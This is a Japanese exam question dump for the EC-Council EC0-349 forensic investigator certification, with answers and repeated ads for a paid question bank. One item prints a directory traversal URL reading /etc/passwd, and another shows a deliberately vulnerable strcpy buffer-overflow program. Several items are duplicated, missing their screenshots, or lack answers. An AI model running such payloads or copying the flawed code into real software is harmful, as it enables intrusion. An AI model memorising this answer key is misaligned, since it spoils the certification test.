

EC-COUNCIL.EC0-349.v2024-09-17.q256

試験コード:	EC0-349
試験名称:	Computer Hacking Forensic Investigator
認定資格:	EC-COUNCIL
無料問題数:	256
バージョン:	v2024-09-17
アクセス数:	750
ページビュー数:	2560
https://www.jpnpdf.com/EC-COUNCIL.EC0-349.v2024-09-17.q256-mondaishu.html	

最新問題: 1

従業員が、大きな磁石を使用して、数枚のコンパクト ディスク (CD) とデジタル ビデオ ディスク (DVD) に保存されているデータを消去しようとしています。CD と DVD は大量のデータを保存するために使用される _____ メディアであり、磁石の影響を受けないため、この方法ではデータを消去することはできないことを従業員に伝えます。

- A. 耐磁性
- B. 論理
- C. 磁気
- D. 光学

Answer: D ([メッセージを残す](#))

最新問題: 2

Ethereal を使用して POP3 トラフィックを確認するには、調査員はどのポートを検索する必要がありますか？

- A. 143
- B. 110
- C. 125
- D. 25

Answer: B ([メッセージを残す](#))

最新問題: 3

会社では、ネットワーク全体で Cisco ルーターのみを使用しています。ルーターをできる限り安全に保護した後、外部のセキュリティ会社にネットワーク セキュリティの評価を依頼します。問題はほとんど見つかりませんでしたが、ほとんど手間をかけずに、すべての Cisco ルーターのモデル、OS バージョン、機能を列挙することができました。Cisco ルーターでこの情報を列挙できないようにするには、どの機能を無効にしますか？

- A. ブロードキャストシステムプロトコル
- B. シスコ検出プロトコル
- C. ボーダーゲートウェイプロトコル
- D. 簡易ネットワーク管理プロトコル

Answer: B ([メッセージを残す](#))

最新問題: 4

TCP/IP (Transmission Control Protocol/Internet Protocol) は、インターネット内のさまざまなホストを接続するために使用される通信プロトコルです。ネットワーク インターフェイス層を含む 4 つの層で構成されています。

インターネット層、トランスポート層、アプリケーション層。

次のプロトコルのうち、TCP/IP のトランスポート層で動作するものはどれですか？

- A. SNMP
- B. HTTP
- C. FTP
- D. UDP

Answer: D ([メッセージを残す](#))

最新問題: 5

すべてのコンピューターフォレンジック調査中に実行する標準的な手順はどれですか？

- A. 疑わしいPCからハードドライブを取り外し、システムのCMOSの日付と時刻を確認します。
- B. 疑わしいPCのハードドライブで、ファイルアロケーションテーブルの日付と時刻を確認します。
- C. 疑わしいPCのハードドライブで、システムのCMOSの日付と時刻を確認します。
- D. 疑わしいPCからハードドライブを取り外し、システムのRAMの日付と時刻を確認します。

Answer: A ([メッセージを残す](#))

最新問題: 6

次の電子メール ヘッダーでは、電子メールは最初にどこから送信されたのでしょうか。

- A. Smtpl.somedomain.com
- B. Somedomain.com
- C. David1.state.ok.gov.us
- D. Simon1.state.ok.gov.us

Answer: ([解答を表示する](#))

最新問題: 7

FAT32 システムでは、123 KB のファイルはいくつのセクターを使用しますか？

- A. 34
- B. 25
- C. 11

D. 56

E. 246

Answer: E ([メッセージを残す](#))

512 バイトのセクターを使用すると仮定すると、 $123 \times 1024 / 512 = 246$ セクターが必要になります。

最新問題: 8

あなたはテキサス州ダラスの小さな銀行のネットワーク管理者です。ネットワーク セキュリティを確保するために、すべてのユーザーに 14 文字のパスワードを要求するセキュリティ ポリシーを制定しました。ユーザーに 2 週間前に通知した後、グループ ポリシーを変更して 14 文字のパスワードを強制しました。1 週間後、スタンドアロン サーバーから SAM データベースをダンプし、パスワード クラッキング ツールを実行しました。1 時間以内に 99% を超えるパスワードが破られました。

なぜこれらのパスワードはこんなに早く解読されたのでしょうか？

A. Active Directory を使用するネットワークでは SAM データベースは使用されないため、取得した SAM データベースは空でした。

B. パスワードグループポリシーの変更がネットワーク全体に完全に反映されるまでには少なくとも3週間かかります。

C. 14文字以下のパスワードは2つの7文字のハッシュに分割されます

D. クラックされたパスワードはドメイン コントローラ上のローカル アカウントです

Answer: C ([メッセージを残す](#))

最新問題: 9

電子メールのアーカイブは、電子メールに含まれるデータを保存して保護し、後日すぐにアクセスできるようにする体系的なアプローチです。アーカイブには、ローカル アーカイブとサーバストレージアーカイブという 2 つの主な種類があります。ローカル アーカイブを扱う場合、次の記述のうち正しいものはどれですか。

A. ローカルアーカイブは、法廷で証拠として認められるためには、サーバストレージアーカイブと一緒に保存する必要があります。

B. サーバ ストレージ アーカイブは、ローカル システムに保存されるサーバー情報と設定であり、ローカル アーカイブは、メール サーバーに保存されるローカルの電子メール クライアント情報です。

C. ほとんどの場合、オフライン アーカイブがないため、Web メールを扱うのは困難です。サーバー上の必要なデータにアクセスするための最善の方法については、ケースの弁護士に相談してください。

D. 電子メールクライアントがメッセージデータを変更する可能性があるため、ローカルアーカイブには証拠価値がありません。

Answer: C ([メッセージを残す](#))

最新問題: 10

クリスは、顧客の一人から報告されたハッキング事件の調査を依頼されました。

同社は、この攻撃に内部関係者が関与しているのではないかと疑っています。事件現場に到着したクリスは、物理的なエリアを確保し、映像メディアを使用して現場を記録します。彼は、システムに一切影響を与えないように、電源プラグを抜いてシステムをシャットダウンします。彼は、取り外す前にすべてのケーブルとコネクタにラベルを付けます。次に起こる一連の出来事はどのようなものだと思いますか？

- A. ターゲットメディアを接続する; 取得するシステムを削除する; 証拠を確保する; メディアをコピーする
- B. 取得のためにシステムを準備する; ターゲットメディアを接続する; メディアをコピーする; 証拠を確保する
- C. ターゲットメディアを接続する; 取得のためにシステムを準備する; 証拠を確保する; メディアをコピーする
- D. 証拠を確保する; 取得のためにシステムを準備する; ターゲットメディアを接続する; メディアをコピーする

Answer: ([解答を表示する](#))

最新問題: 11

LBA (論理ブロック アドレス) は、ハード ディスクの各セクターに _____ を割り当てることによってデータをアドレス指定します。

- A. セクター番号
- B. 連番
- C. オペレーティング システム番号
- D. インデックス番号

Answer: ([解答を表示する](#))

最新問題: 12

次のタスクの責任者は誰ですか？

- 現場を確保し、安全な状態に維持する
法医学チームがアドバイスするまで
- 現場に関するメモを作成し、最終的に鑑識チームに引き渡す

- A. システム管理者
- B. 弁護士
- C. 現地のマネージャーまたはその他の非法医学スタッフ
- D. 研究室スタッフ以外

Answer: D ([メッセージを残す](#))

最新問題: 13

以下は、IIS 6.0 のデフォルト インストールからのログ ファイルのスクリーンショットです。スクリーンショットに示されているように、IIS ではどの時間標準が使用されていますか？

- A. UTC

- B. UT
- C. タイ
- D. GMT

Answer: A ([メッセージを残す](#))

最新問題: 14

ネットワーク上で脆弱性スキャンを実行しているときに IDS が接続を切断した場合、使用されている IDS の種類は何ですか？

- A. ニップス
- B. アクティブIDS
- C. プログレッシブIDS
- D. パッシブIDS

Answer: B ([メッセージを残す](#))

最新問題: 15

あなたは、侵入テストを実施する会社の偵察を行うセキュリティアナリストです。Dice.com で IT 職を検索したところ、次のような求人情報を見つけました: Windows Server 環境での 7 年以上の経験、Exchange 2000/2003 環境での 5 年以上の経験、Cisco Pix Firewall、Linksys での経験 1376 ルータ、Oracle 11i、および MYOB v3.4 会計ソフトウェアが必須 MCSA が望ましい、MCSE、CEH が望ましい Unix/Linux の経験は不要 求人 Web サイトに掲載されているこの情報はどのように考慮されますか？

- A. 競争上の悪用
- B. 情報の脆弱性
- C. ソーシャルエンジニアリングの悪用
- D. 企業秘密

Answer: B ([メッセージを残す](#))

最新問題: 16

モバイルオペレーティングシステムとは、携帯電話、スマートフォン、PDA などのモバイルデバイスを操作するオペレーティングシステムです。これにより、キーボード、アプリケーション、電子メール、テキストメッセージングなど、モバイルデバイスで利用できる機能と特徴が決まります。次のモバイルオペレーティングシステムのうち、無料でオープンソースであるものはどれですか。

- A. アップル IOS
- B. アンドロイド
- C. シンビアンOS
- D. ウェブOS

Answer: B ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(490**30%OFF**問題集溶と正解付きで 30%w特別割引コード: **Freepdfdumps**)

最新問題: 17

法医学調査員が、最近ごみ箱に移動されたファイルを探すためにコンピューターのハードドライブを検索しています。コマンドライン ツールを使用して C:\RECYCLED 内のファイルを検索しましたが、何も見つかりません。その理由は何でしょうか。

- A. ハードドライブにごみ箱が存在しません
- B. C:\Windows\System32\RECYCLED フォルダを検索する必要があります
- C. RECYCLED フォルダは FAT システムのみに含まれ、NTFS には含まれません。
- D. ファイルは隠されており、表示するにはスイッチを使用する必要があります

Answer: D ([メッセージを残す](#))

最新問題: 18

証拠として押収したいコンピューターのすべてのケーブル接続をなぜ記録する必要があるのでしょうか？

- A. どのような周辺機器が存在するかを知る
- B. どのような外部接続が存在するかを知る
- C. どのようなハードウェアが存在するかを知る
- D. 他のデバイスが接続されていた場合

Answer: B ([メッセージを残す](#))

最新問題: 19

Simon は Trinitron XML Inc. の元従業員です。彼は不当に解雇されたと感じており、元勤務先のネットワークに侵入したいと考えています。Simon はサーバー名の一部を覚えていたので、DIG を使用して axfr コマンドと ixfr コマンドを実行しようとしています。ここで Simon は何を達成しようとしているのでしょうか。

- A. ゾーン転送を実行する
- B. DNSポイズニングを実行する
- C. ドメイン内のすべてのユーザーを列挙する
- D. DOSコマンドを送信してDNSサーバーをクラッシュさせる

Answer: (解答を表示する)

最新問題: 20

あなたはセキュリティ アナリストで、侵入テストを実施する会社の偵察を行っています。Dice.com で IT 職を検索したところ、募集中の職種について次の情報を見つけました。

Windows Server 環境での 7 年以上の経験 Exchange 2000/2003 環境での 5 年以上の経験 Cisco Pix Firewall、Linksys 1376 ルーター、Oracle 11i、MYOB v3.4 の経験が必要 会計ソフトウェアが必須 MCSA が望ましい、MCSE、CEH が望ましい Unix/Linux の経験は不要 求人 Web サイトに掲載されているこの情報はどのように考慮されますか？

- A. 情報の脆弱性
- B. ソーシャルエンジニアリングの悪用
- C. 企業秘密
- D. 競争上の悪用

Answer: A ([メッセージを残す](#))

最新問題: 21

Steganography is a technique of hiding a secret message within an ordinary message and extracting it at the destination to maintain the confidentiality of data.

- A. 偽
- B. 真実

Answer: B ([メッセージを残す](#))

最新問題: 22

JPEG では圧縮にどのような技術が使用されていますか？

- A. TCD
- B. TIFF-8
- C. DCT
- D. 郵便番号

Answer: ([解答を表示する](#))

最新問題: 23

ジュリアは、ベルベル コンサルティング グループのシニア セキュリティ アナリストです。現在、フロリダ州の小さな会計事務所の契約で働いています。この事務所は、社内トレーニングが効果的かどうかを確認するために、会社に対してソーシャル エンジニアリング攻撃を実行する許可を彼女に与えています。ジュリアは会計事務所の代表番号に電話をかけ、受付係と話します。ジュリアは、アイオワ州にある会社の本社の IT 技術者であると言います。彼女は、彼らが抱えている問題を解決するために、受付係のネットワーク ユーザー名とパスワードが必要だと言います。ジュリアによると、この情報は、会社の CEO であるビル ハモンドが要求したとのことです。CEO の名前を聞いた後、受付係はジュリアが要求したすべての情報を提供しました。ジュリアは、どのようなソーシャル エンジニアリングの原理を使用しましたか？

- A. 相互関係
- B. 友情/好意
- C. 社会的検証
- D. 希少性

Answer: A ([メッセージを残す](#))

最新問題: 24

収集された証拠を aa/ddmmyy/nnnn/zz 形式でマークする場合、nnn は何を意味しますか？

- A. 押収された証拠品の通し番号
- B. 法医学分析官のイニシャル
- C. 同じ展示品の部品のシーケンス番号
- D. 証拠が採取された年

Answer: A ([メッセージを残す](#))

最新問題: 25

次のどれがデータ取得フォレンジック調査の一部ではありませんか？

- A. 許可された人のみアクセスを許可する
- B. Work on the original storage medium not on the duplicated copy
- C. 極端な温度変化から証拠を保護する
- D. Disable all remote access to the system

Answer: B ([メッセージを残す](#))

最新問題: 26

証言録取により、相手方の弁護士は裁判で専門家の証言を事前に確認することができます。次の証言録取のうち、標準的な慣行ではないものはどれですか。

- A. 相手側の弁護士が質問する
- B. 弁護士は1人だけ出席している
- C. 陪審員も裁判官もない
- D. 両弁護士が出席している

Answer: B ([メッセージを残す](#))

最新問題: 27

次のコマンドのターゲットホスト IP は何ですか？ C:\> firewalk -F 80 10.10.150.1 172.16.28.95 -p UDP

- A. 10.10.150.1
- B. Firewalkはターゲットホストをスキャンしません
- C. 172.16.28.95
- D. このコマンドはFINパケットを使用しているため、ターゲットホストをスキャンできません。

Answer: C ([メッセージを残す](#))

最新問題: 28

カイルは経理部門用に開発したアプリケーションの最終テストを行っています。

最後のテストは、プログラムが可能な限り安全であることを確認することです。カイルは次のコマンドを実行します。この時点で何をテストしているのでしょうか？

```
#include #include int main(int argc, char
```

```
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s string\n", argv[0]); return 1; }
strcpy(buffer, argv[1]); return 0; }
```

- A. カーネル注入
- B. バッファオーバーフロー
- C. 書式文字列のバグ
- D. SQLインジェクション

Answer: B ([メッセージを残す](#))

最新問題: 29

On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored?

- A. SAM
- B. Password.conf
- C. AMS
- D. Shadow file

Answer: A ([メッセージを残す](#))

最新問題: 30

デジタル証拠を保存するために、調査員は_____する必要があります。

- A. 異なる画像ツールを使用して各証拠アイテムのコピーを2つ作成します
- B. 元の証拠アイテムのみ保存する
- C. 1つのイメージングツールを使用して各証拠アイテムのコピーを2つ作成します
- D. 承認された画像ツールを使用して、各証拠品のコピーを1部作成します。

Answer: A ([メッセージを残す](#))

最新問題: 31

無線ローカル エリア ネットワーク (WLAN) 内のどのデバイスが、パケットを宛先に転送する次のネットワーク ポイントを決定しますか？

- A. ワイヤレスルーター
- B. アンテナ
- C. ワイヤレスモデム
- D. 移動局

Answer: (解答を表示する)

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットす

る人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>

(490**30%OFF**問題集溶と正解付きで 30%w特別割引コード: **Freepdfdumps**)

最新問題: 32

Windows コンピュータのごみ箱から空になったファイルを復元できるのはなぜですか?

- A. データは手動で削除されるまでWindowsコンピュータのL2キャッシュに保存されます。
- B. ごみ箱から空になったデータを回復することはできません
- C. データは復元ディレクトリに移動され、そこに無期限に保存されます。
- D. ファイルの元の場所が使用されるまで、データはそのまま残ります。

Answer: D ([メッセージを残す](#))

最新問題: 33

次の電子メール ヘッダーでは、電子メールは最初にどこから送信されたのでしょうか。

- A. David1.state.ok.gov.us
- B. Simon1.state.ok.gov.us
- C. Smtpl1.somedomain.com
- D. Somedomain.com

Answer: B ([メッセージを残す](#))

最新問題: 34

マディソンは大学の内部ネットワークに侵入した疑いで裁判にかけられています。警察は彼女の寮の部屋を捜索し、彼女のコンピューター機器をすべて押収しました。マディソンの弁護士は、押収は根拠がなく、無根拠であると裁判官を説得しようとしています。マディソンの弁護士は、警察が違反したという米国のどの憲法修正条項に違反したことを証明しようとしていますか?マディソンの弁護士は、警察が違反したという米国のどの憲法修正条項に違反したことを証明しようとしていますか?

- A. 憲法修正第10条
- B. 憲法修正第5条
- C. 憲法修正第1条
- D. 憲法修正第4条

Answer: D ([メッセージを残す](#))

最新問題: 35

ジュリアは、ベルベル コンサルティング グループのシニア セキュリティ アナリストです。現在、彼女はフロリダの小さな会計事務所との契約で働いています。その事務所は、社内トレーニングが効果的かどうかを調べるために、彼女にその会社に対するソーシャル エンジニアリング攻撃の実行を許可しました。ジュリアは会計事務所の代表番号に電話をかけ、受付係と話します。ジュリアは、アイオワにある会社の本社の IT 技術者だと言います。彼女は、彼らが抱えている問題を解決するために、受付係のネットワーク ユーザー名とパスワードが必要だと言います。ジュリアに

よると、会社の CEO であるビル ハモンドがこの情報を要求したそうです。CEO の名前を聞いた後、受付係はジュリアが要求したすべての情報を提供しました。

ジュリアはどのようなソーシャルエンジニアリングの原理を使用しましたか？

- A. 社会的検証
- B. 希少性
- C. 相互関係
- D. 友情/好意

Answer: C ([メッセージを残す](#))

最新問題: 36

捜査における証拠保管の連鎖について議論する場合、リンクとは何を指すのでしょうか？

- A. 証拠を移動する際に使用される輸送手段
- B. 証拠品を所持する者
- C. 捜査において最も重要な証拠
- D. USBケーブルのように、ある証拠を別の証拠にリンクする証拠

Answer: B ([メッセージを残す](#))

最新問題: 37

FAT ファイル システムを使用する Microsoft オペレーティング システムによってファイルが削除されると何が起こりますか？

- A. ファイルは消去されていますが、回復可能です
- B. ファイルは消去されており、回復できません
- C. ファイルのコピーが保存され、元のファイルは消去されます
- D. ファイルへの参照のみが FAT から削除されます

Answer: D ([メッセージを残す](#))

最新問題: 38

調査中のコンピューターから画像ファイルが復元されました。調査プロセス中、ファイルは 500% 拡大され、その内容がよく見えるようになります。このプロセスで画像の品質はまったく低下しません。このファイルとは何ですか？その内容。このプロセスで画像の品質はまったく低下しません。このファイルとは何ですか？

- A. カタログ画像
- B. メタファイル画像
- C. ラスター画像
- D. ベクター画像

Answer: D ([メッセージを残す](#))

最新問題: 39

フォレンジック調査のためにコンピューターを準備する際に必要な最初のステップは何ですか？

- A. コンピュータの電源を切ったり入れたり、プログラムを実行したり、コンピュータ上のデータにアクセスしたりしないでください。
- B. 求めているデータの種類、探している情報、検査の緊急度を特定します。
- C. 問題となっているメディアやユーザーに関係する可能性のある自動文書破棄およびリサイクルポリシーを停止する
- D. 関連するメディアを保護する

Answer: [\(解答を表示する\)](#)

最新問題: 40

Harold はネットワークにファイアウォールを設定したいと考えていますが、どれが最も適切かわかりません。ネットワーク上のサーバーの 1 つへの FTP トラフィックを許可する必要があることはわかっていますが、FTP-PUT のみを許可したいと考えています。Harold のニーズに最も適したファイアウォールはどれでしょうか。

- A. 回線レベルのプロキシファイアウォール
- B. アプリケーションレベルのプロキシファイアウォール
- C. データリンク層ファイアウォール
- D. パケットフィルタリングファイアウォール

Answer: B ([メッセージを残す](#))

最新問題: 41

You are called in to assist the police in an investigation involving a suspected drug dealer. The police searched the suspect house after a warrant was obtained and they located a floppy disk in the suspect bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you could use to obtain the password?

- A. Maximum force and thesaurus attack
- B. Brute force and dictionary attack
- C. Minimum force and appendix attack
- D. Limited force and library attack

Answer: B ([メッセージを残す](#))

最新問題: 42

デジタル証拠をカタログ化する際の主な目標は

- A. 証拠の完全性を保つ
- B. すべてのハードドライブのビットストリームイメージを作成する
- C. コンピュータの電源をオフにできないようにする
- D. 現場から証拠を取り除かない

Answer: A ([メッセージを残す](#))

最新問題: 43

攻撃者は、「ドット・ドット・スラッシュ (.)」シーケンスとそのバリエーションを含むファイルを参照する変数を操作することができます。

`http://www.juggyDoy.corn/GET/process.php../../../../etc/passwd.`

参照された攻撃を識別します。

- A. XSS攻撃
- B. SQLインジェクション
- C. ファイルインジェクション
- D. ディレクトリトラバーサル

Answer: D ([メッセージを残す](#))

最新問題: 44

警察は、メルビン・マシューが多数のコンピュータソフトウェアおよびコンピュータオペレーティングシステム製造業者、携帯電話製造業者、インターネットサービスプロバイダー、教育機関の所有するコンピュータに不正アクセスしていると考えています。また、彼は複数の被害者企業の所有する独自のコンピュータソフトウェアを盗み、コピーし、不正に流用していたとも疑われています。警察が令状をまだ取得していないのに、容疑者のドアを破って自宅を搜索し、彼のコンピュータ機器をすべて押収するのをなぜ妨げているのでしょうか。

- A. 連邦証拠規則
- B. 善きサマリア人の法
- C. 憲法修正第4条
- D. 米国愛国者法

Answer: ([解答を表示する](#))

最新問題: 45

コンピューターフォレンジック調査官としてのあなたの専門家としての評判を台無しにするには、_____ 件の不適切なケース管理が必要ですか？

- A. 法律により、3
- B. かなり多い
- C. 少なくとも2つ
- D. 1つだけ

Answer: ([解答を表示する](#))

最新問題: 46

Windows セキュリティ イベント ログには、ログイン/ログアウト アクティビティや、システムの監査ポリシーで指定されたその他のセキュリティ関連イベントの記録が含まれています。Windows セキュリティ イベント ログのイベント ID 531 は何を示していますか？

- A. ログオン試行は、不明なユーザー名、または不正なパスワードを持つ既知のユーザー名で行われました。
- B. ユーザーがコンピューターに正常にログオンしました
- C. 許可された時間外にユーザーアカウントでログオンしようとしてしました
- D. 無効なアカウントを使用してログオンが試行されました

Answer: D ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w** 特別割引コード: **Freepdfdumps**)

最新問題: 47

法医学調査官は StrongHold バッグにどのような種類の機器を保管するのでしょうか？

- A. バックアップテープ
- B. ハードドライブ
- C. ワイヤレスカード
- D. PDAPDA?

Answer: ([解答を表示する](#)**)**

最新問題: 48

WPA2 は、企業および Wi-Fi ユーザーに強力なデータ保護とネットワーク アクセス制御を提供します。次の暗号化アルゴリズムのうち、DVWPA2 で使用されるのはどれですか？

- A. AES-TKIP
- B. AES-CCMP
- C. RC4-TKIP
- D. RC4-CCMP

Answer: ([解答を表示する](#)**)**

最新問題: 49

ハードディスクの最小割り当て単位は何ですか？

- A. 回転するトラック
- B. スラックスペース
- C. ディスクプラッター
- D. クラスタ

Answer: D ([メッセージを残す](#))

最新問題: 50

あなたは、Web サーバー ハッキングの可能性に関する調査に協力しています。あなたに連絡してきた会社によると、顧客から、ブラウザに会社の Web アドレスを入力すると、ポルノ画像 Web サイトが表示されるという報告があったそうです。会社が Web サーバーをチェックしましたが、何も問題は見当たりません。ブラウザに Web サイトの IP アドレスを入力すると、すべて正常に表示されます。名前解決サーバーの DNS キャッシュに影響し、サーバーがユーザーを間違った Web サイトに誘導する攻撃の名前は何ですか。

- A. DNS ポイズニング
- B. IPスプーフィング
- C. ARP ポイズニング
- D. HTTP リダイレクト攻撃

Answer: A ([メッセージを残す](#))

最新問題: 51

ジョンとヒラリーは、会社の同じ部署で働いています。ジョンは、ファイル サーバー上のヒラリーの文書を見るために、ヒラリーのネットワーク パスワードを知りたいと考えています。彼は、Lophtcrack プログラムをスニффイング モードに有効にします。ジョンは、エラー! 参照元が見つかりませんへのリンクを含む電子メールをヒラリーに送信します。ジョンは、このことからどのような情報を収集できるでしょうか。

- A. ヒラリーネットワークアカウントのSID
- B. ヒラリーのコンピュータからのSAMファイル
- C. ヒラリーが権限を持つネットワーク共有
- D. ヒラリーネットワークのユーザー名とパスワードのハッシュ

Answer: D ([メッセージを残す](#))

注: 質問から、ジョンは L0phtcrack をスニффイング モードで実行する必要があるため、管理者ではないと想定する必要があります。しかし、会社がハブではなくスイッチを使用している場合はどうなるでしょうか。ジョンはスイッチのガードを解除するか、中間者攻撃を実行するかのいずれかを試みます。

最新問題: 52

クリスは、顧客の 1 人から報告されたハッキング事件の調査を依頼されました。会社は、この攻撃に内部関係者が関与しているのではないかと疑っています。事件現場に到着すると、クリスは物理的なエリアを確保し、映像メディアを使用して現場を記録します。彼は、システムに一切影響を与えないように、電源プラグを抜いてシステムをシャットダウンします。彼は、取り外す前にすべてのケーブルとコネクタにラベルを付けます。次に起こる一連の出来事はどうなると思いますか？

- A. 証拠を確保する; 取得のためにシステムを準備する; ターゲットメディアを接続する; メディアをコピーする
- B. ターゲットメディアを接続する; 取得するシステムを削除する; 証拠を確保する; メディアをコピーする

C. 取得のためにシステムを準備する; 対象メディアを接続する; メディアをコピーする; 証拠を確保する

D. ターゲットメディアを接続する; 取得のためにシステムを準備する; 証拠を確保する; メディアをコピーする

Answer: ([解答を表示する](#))

最新問題: 53

Under which Federal Statutes does FBI investigate for computer crimes involving e-mail scams and mail fraud?

A. 18 U.S.C. 1030 Fraud and related activity in connection with computers

B. 18 U.S.C. 1361 Injury to Government Property

C. 18 U.S.C. 1343 Fraud by wire, radio or television

D. 18 U.S.C. 1029 Possession of Access Devices

E. 18 U.S.C. 1831 Economic Espionage Act

F. 18 U.S.C. 1362 Government communication systems

G. 18 U.S.C. 1832 Trade Secrets Act

Answer: ([解答を表示する](#))

最新問題: 54

次のスクリーンショットの CIDR は何ですか?

A. /32

B. /8

C. /24

D. /16

Answer: B ([メッセージを残す](#))

最新問題: 55

フォレンジックツールのDriveSpyを使用しており、開始セクターが150セクターあるところをコピーしたい。

プライマリハードドライブの 1709。これらのセクターを正しく指定する形式は次のどれですか。

A. 0:1000, 150

B. 0:1709, 150

C. 1:1709, 150

D. 0:1709-1858

Answer: ([解答を表示する](#))

DriveSpy は次の 2 つの異なる形式を受け入れることができます。

ドライブ番号:開始セクター、セクター数

ドライブ番号:開始セクター絶対終了セクター。

ドライブ番号はゼロベースです

回答 B と D は両方とも正しいと思われます。また、両方の形式が有効です。

最新問題: 56

あなたはコンピュータフォレンジック調査員として働いており、会計事務所のオーナーから、会社の従業員によるコンピュータ不正使用の可能性を調査するよう依頼されました。会社のオーナーと会って、会社がコンピュータ資産を自由に検査する権利を留保するというポリシーを一度も公表していないことを知りました。あなたはどのようにしますか？

- A. 会社は個人所有であるため、ポリシーなしで調査を実施しても問題ないことを所有者に通知します。
- B. ポリシーなしで調査を行うことは憲法修正第4条に違反することを所有者に通知する
- C. ポリシーなしで調査を行うことは従業員のプライバシーの期待に反することをオーナーに通知する
- D. ポリシーは政府機関にのみ必要なので、ポリシーなしで調査を実施しても問題ないことを所有者に通知します。

Answer: C ([メッセージを残す](#))

説明

最新問題: 57

あなたが現在取り組んでいる、または取り組んでいた事件について記者からアプローチされた場合、どうすればよいのでしょうか？

- A. 言ってください、コメントしてください。と言ってください、コメントしてください。
- B. あなたの主張に役に立つ質問だけに答えてください
- C. 記者をあなたを雇った弁護士に紹介してください
- D. 記者の質問に可能な限りすべて答えてください。記者の質問に可能な限りすべて答えてください。

Answer: A ([メッセージを残す](#))

最新問題: 58

以下は、IIS 6.0 のデフォルト インストールからのログ ファイルのスクリーンショットです。スクリーンショットに示されているように、IIS ではどの時間標準が使用されていますか？

- A. UTC
- B. タイ
- C. UT
- D. GMT

Answer: (解答を表示する)

最新問題: 59

複数のコンピューター間の侵入とセキュリティ イベントの両方を監視する場合、コンピューターのクロックを同期させることが重要です。同期された時間により、管理者は複数のコンピューターに対する攻撃中に何が起こったかを再現できます。同期された時間がない状態では、特定のイベントがいつ発生したか、またイベントがどのように絡み合っているかを正確に判断すること

は非常に困難です。複数のコンピューター間で時間を同期するために使用されるサービスの名前は何ですか？

- A. 世界時刻設定
- B. ネットワーク タイム プロトコル
- C. SyncTime サービス
- D. 時刻同期プロトコル

Answer: ([解答を表示する](#))

説明

最新問題: 60

セクハラ事件の予備調査を行う場合、何人の調査員を配置することが推奨されますか？

- A. 3つ
- B. 4つ
- C. 2つ
- D. 1つ

Answer: C ([メッセージを残す](#))

最新問題: 61

セキュリティアナリストとして、ユーザーにユーザー名と強力なパスワードの作成を要求する偽のアンケート Web サイトを設定します。そのリンクを会社の全従業員に送信します。どのような情報を収集できるでしょうか？

- A. 従業員のネットワークユーザー名とパスワード
- B. 従業員のコンピュータの IP アドレス
- C. 銀行口座番号と対応する支店番号
- D. 従業員のコンピュータの MAC アドレス

Answer: A ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w** 特別割引コード: **Freepdfdumps**)

最新問題: 62

ハードディスクのセクターには通常何バイト含まれていますか？

- A. 1024
- B. 2048

C. 512

D. 256

Answer: C ([メッセージを残す](#))

最新問題: 63

フォレンジック調査員は、証拠の保存、識別、抽出、文書化など、調査プロセス全体を担当する人物です。調査員は、サイバー犯罪分析に関連する多くの役割と責任を担っています。フォレンジック調査員の役割は次のとおりです。

A. 調査のために組織の全従業員の許可を得る

B. 潜在的な証拠を改ざんせずに元の証拠のイメージバックアップを作成する

C. 組織のネットワークセキュリティを強化する

D. 証拠を極秘に保ち、法執行機関から証拠を隠す

Answer: B ([メッセージを残す](#))

最新問題: 64

あなたは法律事務所のセキュリティ部門で働いています。弁護士の一部が、偽の電子メールの送信についてあなたに尋ねました。なぜなら、その件で告発されたクライアントがいるからです。クライアントは、自分は無実であり、偽の電子メールが実際に送信されることはあり得ないと主張しています。あなたは、クライアントが間違っていること、偽の電子メールが送信される可能性があること、そしてそれを証明できることを弁護士に伝えます。あなたは自分のデスクに戻り、上司から送信されたように見える弁護士への偽の電子メールを作成します。会社の SMTP サーバーのどのポートに電子メールを送信しますか？上司から送信されたように見える弁護士への偽の電子メール。会社のどのポートに電子メールを送信しますか？SMTP サーバー？

A. 135

B. 10

C. 25

D. 110

Answer: C ([メッセージを残す](#))

最新問題: 65

容疑者は、アダルト Web サイトにアクセスし、画像をダウンロードしたため、コンピューター リソースの許容使用法に違反したとされています。捜査官は、容疑者が実際にこれらのサイトにアクセスしたことを証明したいと考えています。

しかし、容疑者は検索履歴を消去し、Cookie キャッシュを空にしています。さらに、ダウンロードした可能性のある画像もすべて削除しています。調査官は違反を証明するために何ができるでしょうか？

A. 証拠を求めてウェブサイトアクセスする

B. 目撃者である同僚の助けを求める

C. Windows レジストリで接続データを確認します (回復できる場合とできない場合があります)

D. ディスクをイメージ化し、削除されたファイルを回復する

Answer: ([解答を表示する](#))

最新問題: 66

IP 172.16.1.108 で展開されたハニーポットが攻撃者によって侵害されました。以下は、攻撃の Snort バイナリ キャプチャからの抜粋です。ログを調べて、攻撃者が実行したアクティビティを解読してください。抜粋で明示されている内容のみを推測する必要があることに注意してください。

